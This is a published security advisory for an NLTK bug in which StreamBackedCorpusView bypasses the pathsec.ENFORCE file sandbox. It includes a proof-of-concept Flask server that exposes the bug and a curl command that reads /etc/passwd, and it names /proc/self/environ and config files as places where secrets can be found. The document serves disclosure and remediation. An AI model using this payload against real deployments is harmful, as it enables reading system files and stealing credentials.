CVE-2026-63312: NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read
Summary Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validatepath() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Published Sep 8, 2026
Affected packages
nltk
- Ecosystem
- PyPI
- Affected
- <= 3.9.4
- Fixed in
- 3.10.0
- Check
pip show nltk
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Details
nltk/pathsec.py:274 defines the enforcement point:
def open(file, mode="r", **kwargs):
validate_path(file, context="pathsec.open")
return builtins.open(file, mode=mode, **kwargs)StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:
# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size
# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.
PoC
# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True
app = Flask(__name__)
@app.post("/read")
def read_file():
fname = request.json.get("file")
# fileid is user-controlled, passed directly to StreamBackedCorpusView
# pathsec.ENFORCE = True is ignored — builtins.open() called internally
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000)Trigger:
curl -s -X POST http://localhost:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "/etc/passwd"}'Confirmed on latest stable NLTK. No privileges required.
Impact
- Type: Arbitrary Local File Read / Security Control Bypass
- CWE: CWE-22, CWE-284
- OWASP: A01:2021 – Broken Access Control
Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.
The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.
Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().
Credited to meme-dm.
References
- https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8
- https://nvd.nist.gov/vuln/detail/CVE-2026-63312
- https://github.com/nltk/nltk/pull/3588
- https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b
- https://github.com/nltk/nltk/releases/tag/v3.10.0
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml
- https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read
- https://github.com/advisories/GHSA-x5ph-mj9p-rfr8
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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